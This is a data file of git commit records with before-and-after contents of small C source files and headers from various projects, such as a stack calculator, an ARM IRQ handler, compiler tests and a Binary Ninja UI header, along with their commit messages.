saxena2809\/opencog,jlegendary\/opencog,yantrabuddhi\/opencog,roselleebarle04\/opencog,rTreutlein\/atomspace,iAMr00t\/opencog,cosmoharrigan\/opencog,shujingke\/opencog,printedheart\/opencog,eddiemonroe\/opencog,andre-senna\/opencog,ArvinPan\/opencog,andre-senna\/opencog,virneo\/opencog,rohit12\/atomspace,prateeksaxena2809\/opencog,jlegendary\/opencog,inflector\/opencog,AmeBel\/atomspace,kim135797531\/opencog,ceefour\/opencog,cosmoharrigan\/opencog,jlegendary\/opencog,UIKit0\/atomspace,eddiemonroe\/atomspace,yantrabuddhi\/opencog,ArvinPan\/opencog,inflector\/atomspace,tim777z\/opencog,gaapt\/opencog,misgeatgit\/atomspace,roselleebarle04\/opencog,rTreutlein\/atomspace,gaapt\/opencog,AmeBel\/atomspace,kinoc\/opencog,yantrabuddhi\/atomspace,kinoc\/opencog,AmeBel\/opencog,roselleebarle04\/opencog,virneo\/opencog,sumitsourabh\/opencog,kim135797531\/opencog,UIKit0\/atomspace,inflector\/opencog,williampma\/opencog,Selameab\/opencog,ruiting\/opencog,TheNameIsNigel\/opencog,misgeatgit\/atomspace,inflector\/opencog,TheNameIsNigel\/opencog,Selameab\/atomspace,Allend575\/opencog,shujingke\/opencog,Allend575\/opencog,prateeksaxena2809\/opencog,williampma\/opencog,tim777z\/opencog,MarcosPividori\/atomspace,sumitsourabh\/opencog,rTreutlein\/atomspace,rohit12\/opencog,anitzkin\/opencog,inflector\/atomspace,virneo\/atomspace,printedheart\/opencog,ceefour\/opencog,williampma\/opencog,williampma\/atomspace,gaapt\/opencog,jswiergo\/atomspace,rTreutlein\/atomspace,AmeBel\/opencog,rTreutlein\/atomspace,yantrabuddhi\/opencog,gavrieltal\/opencog,williampma\/opencog,AmeBel\/opencog,sumitsourabh\/opencog,TheNameIsNigel\/opencog,AmeBel\/atomspace,MarcosPividori\/atomspace,Allend575\/opencog,prateeksaxena2809\/opencog,AmeBel\/opencog,TheNameIsNigel\/opencog,gavrieltal\/opencog,rodsol\/opencog,eddiemonroe\/atomspace,cosmoharrigan\/atomspace,misgeatgit\/opencog,Tiggels\/opencog,inflector\/opencog,printedheart\/opencog,virneo\/opencog,cosmoharrigan\/opencog,Selameab\/opencog,jlegendary\/opencog,inflector\/atomspace,Selameab\/atomspace,rodsol\/atomspace,ArvinPan\/opencog,yantrabuddhi\/opencog,inflector\/opencog,zhaozengguang\/opencog,gaapt\/opencog,jlegendary\/opencog,virneo\/opencog,printedheart\/opencog,ruiting\/opencog"}
{"commit":"43d14f58dde1f6589cd11c14ce56d31ddfdca027","old_file":"Chapter5\/expr.c","new_file":"Chapter5\/expr.c","old_contents":"#include <stdio.h>\n#include <ctype.h>\n#include <stdlib.h>\n\n\/\/ Exercise 5-11\n#define MAX 1000\n\nint pop(void);\nvoid push(int n);\n\nint main(int argc, char *argv[])\n{\n  while (--argc > 0 && argv++ != NULL)\n  {\n    printf(\"%s\\n\", *argv);\n    if(*argv[0] == '+')\n    {\n      push(pop() + pop());\n    }\n    else if(*argv[0] == '-')\n    {\n      int x = pop();\n      push(pop() - x);\n    }\n    \/\/ else if(*argv[0] == '*')\n    \/\/ {\n    \/\/   int x = pop();\n    \/\/   push(pop() * x);\n    \/\/ }\n    else if(*argv[0] == '\/')\n    {\n      int x = pop();\n      push(pop() \/ x);\n    }\n    else\n    {\n      push(atoi(*argv));\n    }\n  }\n\n  printf(\"%i\\n\", pop());\n  return 0;\n}\n\n\/\/ Push & Pop Functions\nstatic int stack[MAX];\nint *sp = stack;\n\nint pop(void)\n{\n  return *--sp;\n}\n\nvoid push(int n)\n{\n  *sp++ = n;\n}","new_contents":"#include <stdio.h>\n#include <ctype.h>\n#include <stdlib.h>\n\n\/\/ Exercise 5-11\n#define MAX 1000\n\nint pop(void);\nvoid push(int n);\n\nint main(int argc, char *argv[])\n{\n  while (--argc > 0 && argv++ != NULL)\n  {\n    printf(\"%s\\n\", *argv);\n    if(*argv[0] == '+')\n    {\n      push(pop() + pop());\n    }\n    else if(*argv[0] == '-')\n    {\n      int x = pop();\n      push(pop() - x);\n    }\n    \/\/ * needed to be entered as '*' in the command line\n    else if(*argv[0] == '*')\n    {\n      int x = pop();\n      push(pop() * x);\n    }\n    else if(*argv[0] == '\/')\n    {\n      int x = pop();\n      push(pop() \/ x);\n    }\n    else\n    {\n      push(atoi(*argv));\n    }\n  }\n\n  printf(\"%i\\n\", pop());\n  return 0;\n}\n\n\/\/ Push & Pop Functions\nstatic int stack[MAX];\nint *sp = stack;\n\nint pop(void)\n{\n  return *--sp;\n}\n\nvoid push(int n)\n{\n  *sp++ = n;\n}","subject":"Implement Exercise 5-10 for multiplication","message":"Implement Exercise 5-10 for multiplication\n","lang":"C","license":"mit","repos":"Kunal57\/C_Problems,Kunal57\/C_Problems"}
{"commit":"15a3fa7b4d5ad5dd911e43661e0f1eba796933ff","old_file":"TitanHide\/log.h","new_file":"TitanHide\/log.h","old_contents":"#ifndef _LOG_H\r\n#define _LOG_H\r\n\r\n#include \"_global.h\"\r\n\r\nvoid Log(const char* format, ...);\r\n\r\n#endif","new_contents":"#ifndef _LOG_H\r\n#define _LOG_H\r\n\r\n#include \"_global.h\"\r\n\r\n#if defined(__RESHARPER__)\r\n#define PRINTF_ATTR(FormatIndex, FirstToCheck) \\\r\n    [[gnu::format(printf, FormatIndex, FirstToCheck)]]\r\n#elif defined(__GNUC__)\r\n#define PRINTF_ATTR(FormatIndex, FirstToCheck) \\\r\n    __attribute__((format(printf, FormatIndex, FirstToCheck)))\r\n#else\r\n#define PRINTF_ATTR(FormatIndex, FirstToCheck)\r\n#endif\r\n\r\nPRINTF_ATTR(1, 2) void Log(const char* format, ...);\r\n\r\n#endif","subject":"Add Resharper printf argument type checking and formatting to Log()","message":"Add Resharper printf argument type checking and formatting to Log()\n","lang":"C","license":"mit","repos":"mrexodia\/TitanHide,mrexodia\/TitanHide,mrexodia\/TitanHide"}
{"commit":"7ae9bb1196aa3c5c56d12da09d465b63106713f0","old_file":"slow.c","new_file":"slow.c","old_contents":"#define _XOPEN_SOURCE 500\n#include <stdlib.h>\n#include <stdio.h>\n#include <unistd.h>\n\n#include \"arg.h\"\n\nchar *argv0;\n\nvoid usage() {\n\tprintf(\"usage: %s [-t usec] [-F]\\n\", argv0);\n\texit(EXIT_FAILURE);\n}\n\nint main(int argc, char *argv[]) {\n\tchar\t\tbuffer;\n\tsize_t\t\tnread;\n\tuseconds_t\tuseconds\t= 1000000; \/\/ default 1 second\n\tunsigned int\tflush\t\t= 0;\n\n\tARGBEGIN {\n\tcase 't':\n\t\tuseconds = atoi(EARGF(usage()));\n\t\tbreak;\n\tcase 'F':\n\t\tflush = 1;\n\t\tbreak;\n\tdefault:\n\t\tusage();\n\t} ARGEND;\n\n\twhile((nread = fread(&buffer, 1, sizeof buffer, stdin)) > 0) {\n\t\tusleep(useconds);\n\t\tfwrite(&buffer, 1, nread, stdout);\n\t\tif(flush) {\n\t\t\tfflush(stdout);\n\t\t}\n\t}\n\n\treturn EXIT_SUCCESS;\n}\n","new_contents":"#define _XOPEN_SOURCE 500\n#include <stdlib.h>\n#include <stdio.h>\n#include <unistd.h>\n\n#include \"arg.h\"\n\nchar *argv0;\n\nvoid usage() {\n\tfprintf(stderr, \"usage: %s [-t usec] [-F]\\n\", argv0);\n\texit(EXIT_FAILURE);\n}\n\nint main(int argc, char *argv[]) {\n\tchar\t\tbuffer;\n\tsize_t\t\tnread;\n\tuseconds_t\tuseconds\t= 1000000; \/\/ default 1 second\n\tunsigned int\tflush\t\t= 0;\n\n\tARGBEGIN {\n\tcase 't':\n\t\tuseconds = atoi(EARGF(usage()));\n\t\tbreak;\n\tcase 'F':\n\t\tflush = 1;\n\t\tbreak;\n\tdefault:\n\t\tusage();\n\t} ARGEND;\n\n\twhile((nread = fread(&buffer, 1, sizeof buffer, stdin)) > 0) {\n\t\tusleep(useconds);\n\t\tfwrite(&buffer, 1, nread, stdout);\n\t\tif(flush) {\n\t\t\tfflush(stdout);\n\t\t}\n\t}\n\n\treturn EXIT_SUCCESS;\n}\n","subject":"Write usage() message on stderr.","message":"Write usage() message on stderr.\n","lang":"C","license":"mit","repos":"pips-\/slow"}
{"commit":"73406f6a857a6f603e446c3b750170dfb8b865d3","old_file":"tests\/ctests\/error_string.c","new_file":"tests\/ctests\/error_string.c","old_contents":"int main() {\n  \/\/ Issue: 3: error: empty character constant\n  '';\n\n  \/\/ Issue: 6: error: multiple characters in character constant\n  'ab';\n}\n","new_contents":"int main() {\n  \/\/ Issue: 3: error: empty character constant\n  '';\n\n  \/\/ Issue: 6: error: multiple characters in character constant\n  'ab';\n\n  \/\/ Issue: 9: error: multiple characters in character constant\n  '\/*';\n}\n","subject":"Add character string comment test","message":"Add character string comment test\n","lang":"C","license":"mit","repos":"ShivamSarodia\/ShivyC,ShivamSarodia\/ShivyC,ShivamSarodia\/ShivyC"}
{"commit":"8f759d3c5cf80b2d6d154705cf31a8423fd7ec07","old_file":"euler.h","new_file":"euler.h","old_contents":"#ifndef __EULER__\n#define __EULER__\n\n#define KNRM  \"\\x1B[0m\"\n#define KRED  \"\\x1B[31m\"\n#define KGRN  \"\\x1B[32m\"\n\nint check(int, int, int);\nvoid error(const char *str);\n\n#endif\n","new_contents":"#ifndef __EULER__\n#define __EULER__\n\n#define KNRM  \"\\x1B[0m\"\n#define KRED  \"\\x1B[31m\"\n#define KGRN  \"\\x1B[32m\"\n\n#define min(a, b) ((a) < (b) ? (a) : (b))\n#define max(a, b) ((a) > (b) ? (a) : (b))\n\nint check(int, int, int);\nvoid error(const char *str);\n\n#endif\n","subject":"Add macros for min and max","message":"Add macros for min and max\n","lang":"C","license":"bsd-2-clause","repos":"skreuzer\/euler"}
{"commit":"1e701c096ad1ec3b866e2b254ae7ced780faa2e6","old_file":"dictionary.c","new_file":"dictionary.c","old_contents":"#include <errno.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"spellutil.h\"\n#include \"dictionary.h\"\n\ntypedef struct word_count {\n    int value;\n} count;\n\nint\nparse_file(const char *filename, spell_hashtable *table)\n{\n    FILE *file = fopen(filename, \"r\");\n    int _errno;\n    char *line = NULL;\n    size_t len = 0;\n    ssize_t read;\n    char *word;\n    count *c;\n    count default_count;\n    default_count.value = 1;\n\n    if (file == NULL) {\n        _errno = errno;\n        fprintf(stderr, \"fopen failed for file %s\", filename);\n        return errno;\n    }\n\n    while ((read = getline(&line, &len, file)) != -1) {\n        while ((word = strchr(line, ' ')) != NULL) {\n            c = (count *) spell_hashtable_get(table, word);\n            if (c == NULL) {\n                spell_hashtable_add(table, word, &default_count);\n            } else {\n                c->value++;\n                spell_hashtable_add(table, word, c);\n            }\n            free(line);\n        }\n    }\n    fclose(file);\n    return 0;\n}\n","new_contents":"#include <errno.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"spellutil.h\"\n\ntypedef struct word_count {\n    int value;\n} count;\n\nint\nparse_file(const char *filename, spell_hashtable *table)\n{\n    FILE *file = fopen(filename, \"r\");\n    int _errno;\n    char *line = NULL;\n    size_t len = 0;\n    ssize_t read;\n    char *word;\n    count *c;\n    count default_count;\n    default_count.value = 1;\n\n    if (file == NULL) {\n        _errno = errno;\n        fprintf(stderr, \"fopen failed for file %s\", filename);\n        return errno;\n    }\n\n    while ((read = getline(&line, &len, file)) != -1) {\n        while ((word = strchr(line, ' ')) != NULL) {\n            c = (count *) spell_hashtable_get(table, word);\n            if (c == NULL) {\n                spell_hashtable_add(table, word, &default_count);\n            } else {\n                c->value++;\n                spell_hashtable_add(table, word, c);\n            }\n            free(line);\n        }\n    }\n    fclose(file);\n    return 0;\n}\n","subject":"Remove inclusion of a non-existing header file","message":"Remove inclusion of a non-existing header file\n","lang":"C","license":"bsd-2-clause","repos":"abhinav-upadhyay\/spell,abhinav-upadhyay\/spell"}
{"commit":"195e54d55c0b03e68ab46914d3d5e9f985395331","old_file":"kernel\/irq.c","new_file":"kernel\/irq.c","old_contents":"#include <irq.h>\n\nvoid irq_enable()\n{\n\t__asm__ __volatile__ (\n\t\t\"mrs r0, cpsr\\n\"\n\t\t\"bic r0, r0, #0x80\\n\"\n\t\t\"msr cpsr, r0\\n\"\n\t);\n}\n\nvoid irq_disable()\n{\n\t__asm__ __volatile__ (\n\t\t\"mrs r0, cpsr\\n\"\n\t\t\"orr r0, #0xc0\\n\"\n\t\t\"msr cpsr, r0\\n\"\n\t);\n}\n\nvoid handler_swi()\n{\n\tuart0_send(\"In SWI!\\n\");\n\tirq_enable();\n}\n\nvoid handler_irq()\n{\n\tvolatile unsigned int *reg = (unsigned int *) PIC_IRQ_STATUS;\n\n\tswitch (*reg) {\n\t\tcase PIC_UART0_BIT:\n\t\t\tuart0_irq_handler();\n\t\tbreak;\n\n\t}\n#if 0\n\t__asm__ __volatile__ (\n\t\t\"mrs r0, cpsr\\n\"\n\t\t\"bic r0, r0, #0x1F\\n\"\n\t\t\"orr r0, r0, #0x12\\n\" \/\/ enter SVC mode\n\t\t\"msr cpsr, r0\\n\"\n\t\t\"subs pc, lr, #4\\n\"\n\t);\n#endif\n}\n","new_contents":"#include <irq.h>\n#include <uart.h>\n\nvoid (*pl190_isr_vectors[IRQ_COUNT])(void) = \n{\n\t0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n\tuart0_irq_handler,\n\t0, 0, 0\n};\n\n\nvoid irq_enable()\n{\n\t__asm__ __volatile__ (\n\t\t\"mrs r0, cpsr\\n\"\n\t\t\"bic r0, r0, #0x80\\n\"\n\t\t\"msr cpsr, r0\\n\"\n\t);\n}\n\nvoid irq_disable()\n{\n\t__asm__ __volatile__ (\n\t\t\"mrs r0, cpsr\\n\"\n\t\t\"orr r0, #0xc0\\n\"\n\t\t\"msr cpsr, r0\\n\"\n\t);\n}\n\nvoid handler_swi()\n{\n\tuart0_send(\"In SWI!\\n\");\n\tirq_enable();\n}\n\nvoid handler_irq()\n{\n\tunsigned int reg_irq_status = *((volatile unsigned int *) PIC_IRQ_STATUS);\n\tint irq_n = 0;\n\n\twhile (reg_irq_status >>= 1) \n\t\tirq_n++;\n\n\tpl190_isr_vectors[irq_n]();\n\n}\n","subject":"Remove conditional branch in IRQ handler","message":"Remove conditional branch in IRQ handler\n","lang":"C","license":"mit","repos":"waynecw\/cwos,waynecw\/cwos"}
{"commit":"857025b72f3496ac93bb102f9f265592401117b1","old_file":"test\/Misc\/thinlto.c","new_file":"test\/Misc\/thinlto.c","old_contents":"\/\/ RUN: %clang_cc1 -flto=thin -emit-llvm-bc < %s | llvm-bcanalyzer -dump | FileCheck %s\n\/\/ CHECK: <FUNCTION_SUMMARY_BLOCK\n\/\/ CHECK-NEXT: <PERMODULE_ENTRY\n\/\/ CHECK-NEXT: <PERMODULE_ENTRY\n\/\/ CHECK-NEXT: <\/FUNCTION_SUMMARY_BLOCK\n\n__attribute__((noinline)) void foo() {}\n\nint main() { foo(); }\n","new_contents":"\/\/ RUN: %clang_cc1 -flto=thin -emit-llvm-bc < %s | llvm-bcanalyzer -dump | FileCheck %s\n\/\/ CHECK: <GLOBALVAL_SUMMARY_BLOCK\n\/\/ CHECK-NEXT: <PERMODULE\n\/\/ CHECK-NEXT: <PERMODULE\n\/\/ CHECK-NEXT: <\/GLOBALVAL_SUMMARY_BLOCK\n\n__attribute__((noinline)) void foo() {}\n\nint main() { foo(); }\n","subject":"Update test case for llvm summary format changes in D17592.","message":"Update test case for llvm summary format changes in D17592.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@263276 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"0e70a5167953692bb96d0d84e7337ed7f833b0d5","old_file":"Wangscape\/noise\/module\/codecs\/ModuleCodecs.h","new_file":"Wangscape\/noise\/module\/codecs\/ModuleCodecs.h","old_contents":"#pragma once\n\n#include \"AbsWrapperCodec.h\"\n#include \"AddWrapperCodec.h\"\n#include \"BillowWrapperCodec.h\"\n#include \"BlendWrapperCodec.h\"\n#include \"CacheWrapperCodec.h\"\n#include \"CheckerboardWrapperCodec.h\"\n#include \"ClampWrapperCodec.h\"\n#include \"ConstWrapperCodec.h\"\n#include \"CornerCombinerBaseWrapperCodec.h\"\n#include \"CurveWrapperCodec.h\"\n#include \"CylindersWrapperCodec.h\"\n#include \"DisplaceWrapperCodec.h\"\n#include \"ExpWrapperCodec.h\"\n#include \"ExponentWrapperCodec.h\"\n#include \"ForwardWrapperCodec.h\"\n#include \"InvertWrapperCodec.h\"\n#include \"MaxWrapperCodec.h\"\n#include \"MinWrapperCodec.h\"\n#include \"MultiplyWrapperCodec.h\"\n#include \"NormLPQWrapperCodec.h\"\n#include \"NoiseSourcesCodec.h\"\n#include \"PerlinWrapperCodec.h\"\n#include \"PowWrapperCodec.h\"\n#include \"PowerWrapperCodec.h\"\n#include \"RidgedMultiWrapperCodec.h\"\n#include \"RotatePointWrapperCodec.h\"\n#include \"ScaleBiasWrapperCodec.h\"\n#include \"ScalePointCodec.h\"\n#include \"SelectWrapperCodec.h\"\n#include \"SpheresWrapperCodec.h\"\n#include \"TerraceWrapperCodec.h\"\n#include \"TranslatePointWrapperCodec.h\"\n#include \"TurbulenceWrapperCodec.h\"\n#include \"VoronoiWrapperCodec.h\"\n","new_contents":"#pragma once\n\n#include \"AbsWrapperCodec.h\"\n#include \"AddWrapperCodec.h\"\n#include \"BillowWrapperCodec.h\"\n#include \"BlendWrapperCodec.h\"\n#include \"CacheWrapperCodec.h\"\n#include \"CheckerboardWrapperCodec.h\"\n#include \"ClampWrapperCodec.h\"\n#include \"ConstWrapperCodec.h\"\n#include \"CornerCombinerBaseWrapperCodec.h\"\n#include \"CurveWrapperCodec.h\"\n#include \"CylindersWrapperCodec.h\"\n#include \"DisplaceWrapperCodec.h\"\n#include \"ExpWrapperCodec.h\"\n#include \"ExponentWrapperCodec.h\"\n#include \"ForwardWrapperCodec.h\"\n#include \"GradientWrapperCodec.h\"\n#include \"InvertWrapperCodec.h\"\n#include \"MaxWrapperCodec.h\"\n#include \"MinWrapperCodec.h\"\n#include \"MultiplyWrapperCodec.h\"\n#include \"NormLPQWrapperCodec.h\"\n#include \"NoiseSourcesCodec.h\"\n#include \"PerlinWrapperCodec.h\"\n#include \"PowWrapperCodec.h\"\n#include \"PowerWrapperCodec.h\"\n#include \"RidgedMultiWrapperCodec.h\"\n#include \"RotatePointWrapperCodec.h\"\n#include \"ScaleBiasWrapperCodec.h\"\n#include \"ScalePointCodec.h\"\n#include \"SelectWrapperCodec.h\"\n#include \"SpheresWrapperCodec.h\"\n#include \"TerraceWrapperCodec.h\"\n#include \"TranslatePointWrapperCodec.h\"\n#include \"TurbulenceWrapperCodec.h\"\n#include \"VoronoiWrapperCodec.h\"\n","subject":"Add Gradient* codec header to all-codecs header","message":"Add Gradient* codec header to all-codecs header\n","lang":"C","license":"mit","repos":"serin-delaunay\/Wangscape,Wangscape\/Wangscape,Wangscape\/Wangscape,Wangscape\/Wangscape,serin-delaunay\/Wangscape"}
{"commit":"dbdcd34d8dfea30fcfcbb176db89e2a14f88eabc","old_file":"webkit\/glue\/webkit_constants.h","new_file":"webkit\/glue\/webkit_constants.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n#define WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n\nnamespace webkit_glue {\n\n\/\/ Chromium sets the minimum interval timeout to 4ms, overriding the\n\/\/ default of 10ms.  We'd like to go lower, however there are poorly\n\/\/ coded websites out there which do create CPU-spinning loops.  Using\n\/\/ 4ms prevents the CPU from spinning too busily and provides a balance\n\/\/ between CPU spinning and the smallest possible interval timer.\nconst double kForegroundTabTimerInterval = 0.004;\n\n\/\/ Provides control over the minimum timer interval for background tabs.\nconst double kBackgroundTabTimerInterval = 1.0;\n\n} \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n#define WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n\nnamespace webkit_glue {\n\n\/\/ Chromium sets the minimum interval timeout to 4ms, overriding the\n\/\/ default of 10ms.  We'd like to go lower, however there are poorly\n\/\/ coded websites out there which do create CPU-spinning loops.  Using\n\/\/ 4ms prevents the CPU from spinning too busily and provides a balance\n\/\/ between CPU spinning and the smallest possible interval timer.\nconst double kForegroundTabTimerInterval = 0.004;\n\n\/\/ Provides control over the minimum timer interval for background tabs.\nconst double kBackgroundTabTimerInterval = 0.004;\n\n} \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n","subject":"Revert 75430 because it's causing failures in dom_checker_tests. : Increase the minimum interval for timers on background tabs to reduce their CPU consumption.","message":"Revert 75430 because it's causing failures in dom_checker_tests.\n: Increase the minimum interval for timers on background tabs to reduce\ntheir CPU consumption.\n\nThe new interval is 1000 ms, or once per second. We can easily adjust\nthis value up or down, but this seems like a reasonable value to judge\nthe compatibility impact of this change.\n\nBUG=66078\nTEST=none (tested manually with minimal test case)\n\nReview URL: http:\/\/codereview.chromium.org\/6546021\n\nTBR=kbr@google.com\nReview URL: http:\/\/codereview.chromium.org\/6538073\n\ngit-svn-id: dd90618784b6a4b323ea0c23a071cb1c9e6f2ac7@75490 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n","lang":"C","license":"bsd-3-clause","repos":"wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser"}
{"commit":"48604212f8046625c0392b53b65d5f8440ae35e8","old_file":"src\/test_interface.c","new_file":"src\/test_interface.c","old_contents":"#include <stdio.h>\n\n#include \"decode.h\"\n#include \"event_detection.h\"\n#include \"fast5_interface.h\"\n#include \"homopolymer.h\"\n#include \"kseq.h\"\n#include \"layers.h\"\n#include \"networks.h\"\n#include \"nnfeatures.h\"\n#include \"scrappie_common.h\"\n#include \"scrappie_licence.h\"\n#include \"scrappie_matrix.h\"\n#include \"scrappie_seq_helpers.h\"\n#include \"scrappie_stdlib.h\"\n#include \"scrappie_structures.h\"\n#include \"scrappie_subcommands.h\"\n#include \"sse_mathfun.h\"\n#include \"util.h\"\n\n#include \"..\/python\/pyscrap.h\"\n\n\nint main(void){\n    return EXIT_SUCCESS;\n}\n","new_contents":"#include <stdio.h>\n\n#include \"decode.h\"\n#include \"event_detection.h\"\n#include \"fast5_interface.h\"\n#include \"homopolymer.h\"\n#include \"kseq.h\"\n#include \"layers.h\"\n#include \"networks.h\"\n#include \"nnfeatures.h\"\n#include \"scrappie_common.h\"\n#include \"scrappie_matrix.h\"\n#include \"scrappie_seq_helpers.h\"\n#include \"scrappie_stdlib.h\"\n#include \"scrappie_structures.h\"\n#include \"scrappie_subcommands.h\"\n#include \"sse_mathfun.h\"\n#include \"util.h\"\n\n#include \"..\/python\/pyscrap.h\"\n\n\nint main(void){\n    return EXIT_SUCCESS;\n}\n","subject":"Remove licence from interface test","message":"Remove licence from interface test\n","lang":"C","license":"mpl-2.0","repos":"nanoporetech\/scrappie,nanoporetech\/scrappie,nanoporetech\/scrappie"}
{"commit":"2d3728610e716835f1d54606dee0f7c5cb404f66","old_file":"backend\/tests\/grouter\/openflow_flowtable_t.c","new_file":"backend\/tests\/grouter\/openflow_flowtable_t.c","old_contents":"#include \"openflow_flowtable.h\"\n#include \"mut.h\"\n#include <stdint.h>\n\n\n#include \"common_def.h\"\n\nextern void openflow_flowtable_set_defaults(void);\nextern uint8_t openflow_flowtable_ip_compare(uint32_t ip_1, uint32_t ip_2,\n        uint8_t ip_len);\n\nTESTSUITE_BEGIN\n\nTEST_BEGIN(\"Flowtable Modification\")\n\topenflow_flowtable_init();\n\tofp_flow_mod mod;\n  uint16_t error_code, error_type;\n  mod.flags = OFPFF_SEND_FLOW_REM;\n\tmod.command = OFPFC_ADD;\n\tmod.match.wildcards = OFPFW_ALL;\n\tmod.out_port = OFPP_NONE;\n\n\topenflow_flowtable_modify(&mod, &error_type, &error_code);\n\topenflow_flowtable_release();\nTEST_END\n\nTESTSUITE_END\n","new_contents":"#include \"openflow_flowtable.h\"\n#include \"mut.h\"\n#include <stdint.h>\n\n\n#include \"common_def.h\"\n\nextern void openflow_flowtable_set_defaults(void);\nextern uint8_t openflow_flowtable_ip_compare(uint32_t ip_1, uint32_t ip_2,\n        uint8_t ip_len);\n\nTESTSUITE_BEGIN\n\nTEST_BEGIN(\"Flowtable Modification\")\n\topenflow_flowtable_init();\n\tofp_flow_mod mod;\n  uint16_t error_code, error_type;\n  memset(&mod, 0, sizeof(ofp_flow_mod));\n  mod.flags = htons(OFPFF_SEND_FLOW_REM);\n\tmod.command = htons(OFPFC_ADD);\n\tmod.match.wildcards = htons(OFPFW_ALL);\n\tmod.out_port = htons(OFPP_NONE);\n  mod.header.length = htons(0);\n  mod.priority = htons(19);\n\n\topenflow_flowtable_modify(&mod, &error_type, &error_code);\n\topenflow_flowtable_release();\nTEST_END\n\nTESTSUITE_END\n","subject":"Clean up test, use proper structuring functions","message":"Clean up test, use proper structuring functions\n","lang":"C","license":"mit","repos":"anrl\/gini3,anrl\/gini3,anrl\/gini3,anrl\/gini3,michaelkourlas\/gini,michaelkourlas\/gini,anrl\/gini3,michaelkourlas\/gini,michaelkourlas\/gini,michaelkourlas\/gini"}
{"commit":"2a608956279a2bc37c762f3f2b5e20ee38b1f43c","old_file":"ui\/reflectionview.h","new_file":"ui\/reflectionview.h","old_contents":"#pragma once\n\n#include <QtGui\/QMouseEvent>\n#include <QtGui\/QPaintEvent>\n#include <QtWidgets\/QWidget>\n\n#include \"binaryninjaapi.h\"\n#include \"dockhandler.h\"\n#include \"uitypes.h\"\n\nclass ContextMenuManager;\nclass DisassemblyContainer;\nclass Menu;\nclass ViewFrame;\n\nclass BINARYNINJAUIAPI ReflectionView: public QWidget, public DockContextHandler\n{\n\tQ_OBJECT\n\tQ_INTERFACES(DockContextHandler)\n\n\tViewFrame* m_frame;\n\tBinaryViewRef m_data;\n\tDisassemblyContainer* m_disassemblyContainer;\n\npublic:\n\tReflectionView(ViewFrame* frame, BinaryViewRef data);\n\t~ReflectionView();\n\n\tvirtual void notifyViewLocationChanged(View* view, const ViewLocation& viewLocation) override;\n\tvirtual void notifyVisibilityChanged(bool visible) override;\n\tvirtual bool shouldBeVisible(ViewFrame* frame) override;\n\nprotected:\n\tvirtual void contextMenuEvent(QContextMenuEvent* event) override;\n};\n","new_contents":"#pragma once\n\n#include <QtGui\/QMouseEvent>\n#include <QtGui\/QPaintEvent>\n#include <QtWidgets\/QWidget>\n\n#include \"binaryninjaapi.h\"\n#include \"dockhandler.h\"\n#include \"uitypes.h\"\n\nclass ContextMenuManager;\nclass DisassemblyContainer;\nclass Menu;\nclass ViewFrame;\n\nclass BINARYNINJAUIAPI ReflectionView: public QWidget, public DockContextHandler\n{\n\tQ_OBJECT\n\tQ_INTERFACES(DockContextHandler)\n\n\tViewFrame* m_frame;\n\tBinaryViewRef m_data;\n\tDisassemblyContainer* m_disassemblyContainer;\n\tstd::map<BNFunctionGraphType, BNFunctionGraphType> m_ilMap;\n\tbool m_ilSync;\n\tbool m_locationSync;\n\npublic:\n\tReflectionView(ViewFrame* frame, BinaryViewRef data);\n\t~ReflectionView();\n\n\tvoid toggleILSync();\n\tvoid toggleLocationSync();\n\n\tvirtual void notifyViewLocationChanged(View* view, const ViewLocation& viewLocation) override;\n\tvirtual void notifyVisibilityChanged(bool visible) override;\n\tvirtual bool shouldBeVisible(ViewFrame* frame) override;\n\nprotected:\n\tvirtual void contextMenuEvent(QContextMenuEvent* event) override;\n};\n","subject":"Add some synchronization modes to reflection view along with a context menu.","message":"Add some synchronization modes to reflection view along with a context menu.\n","lang":"C","license":"mit","repos":"Vector35\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api"}
